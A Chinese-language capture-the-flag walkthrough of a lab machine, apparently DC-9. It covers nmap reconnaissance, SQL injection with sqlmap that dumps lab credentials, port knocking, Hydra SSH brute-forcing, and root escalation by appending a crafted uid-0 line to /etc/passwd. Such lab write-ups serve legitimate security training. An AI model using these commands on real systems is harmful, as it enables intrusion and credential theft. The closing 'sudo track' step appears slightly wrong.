一、环境搭建
选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集
扫ip
bash
nmap -sn 192.168.108.0/24
得到靶机ip:192.168.108.143

扫开放端口
bash
nmap -p 1-65535 192.168.108.143
只开放了两个端口

信息如下
bash
22/tcp filtered ssh #filtered是"过滤的",意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open http
扫版本服务信息
bash
nmap -sV 192.168.108.143
得到以下信息

信息如下
bash
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian)) #web的Apache服务版本
指纹探测
执行以下命令
bash
nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all

可用信息:
php
运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9
目录扫描
先用dirsaerch扫描

看看dirb扫描

整理一下可用信息
php
http://192.168.108.143/config.php //配置文件
http://192.168.108.143/display.php //副页面
http://192.168.108.143/includes
http://192.168.108.143/logout.php //登出界面
http://192.168.108.143/manage.php //管理界面-登录框
http://192.168.108.143/search.php //搜索界面
http://192.168.108.143/index.php //主界面
三、Web渗透
看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage 界面有可用信息,在manage界面存在一个登录框,尝试弱口令 和万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入
当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库
bash
sqlmap -r DC9.txt --dbs
得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容
bash
sqlmap -r DC9.txt -D Staff -T Users --dump
拿到一个管理员账号密码
bash
password 'transorbital1' for user 'admin'

拿到的数据库
bash
数据库:information_schema,Staff,users
看看users库

看看该表的列

看看表中数据
bash
sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来
bash
sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump
用户名
bash
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
密码
bash
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
登录后台
成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务
参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html
随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务
php
端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。
看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具 一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接
bash
apt install knock
knock 192.168.108.143 7469 8475 9842
然后看看端口开放状态,成功开启端口

ssh爆破
这里需要使用hydra工具
bash
Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具
kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破
bash
hydra -L user.txt -P passwd.txt ssh://192.168.108.143
拿到以下信息
bash
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
四、提权
ssh登录寻找信息
chandlerb
没有什么可用信息

joeyt
也是没什么有用信息

janitor
发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户
bash
login: fredf password: B4-Tru3-001
利用新账户登录
发现一个无需root权限可用使用的文件**,/opt/devstuff/dist/test**

执行该文件,发现如下信息

在**/opt/devstuff** 目录下发现test.py

查看该文件

bash
#!/usr/bin/python
import sys
if len (sys.argv) != 3 : #检查命令行参数数量
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") #将第一个参数可读
output = (f.read())
f = open(sys.argv[2], "a") #将第一个参数的内容追加到第二个参数
f.write(output)
f.close()
这里举个例子,如果我们执行 ./test.py 1.txt 2.txt ,那么程序会把1.txt 的内容追加到2.txt ,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到**/etc/passwd**中
追加账户密码提权
先使用openssl生成一个密码

然后将密码写入一个文件
bash
track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt
将文件写入**/etc/passwd**
bash
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd
然后登录即可
bash
sudo track
密码:track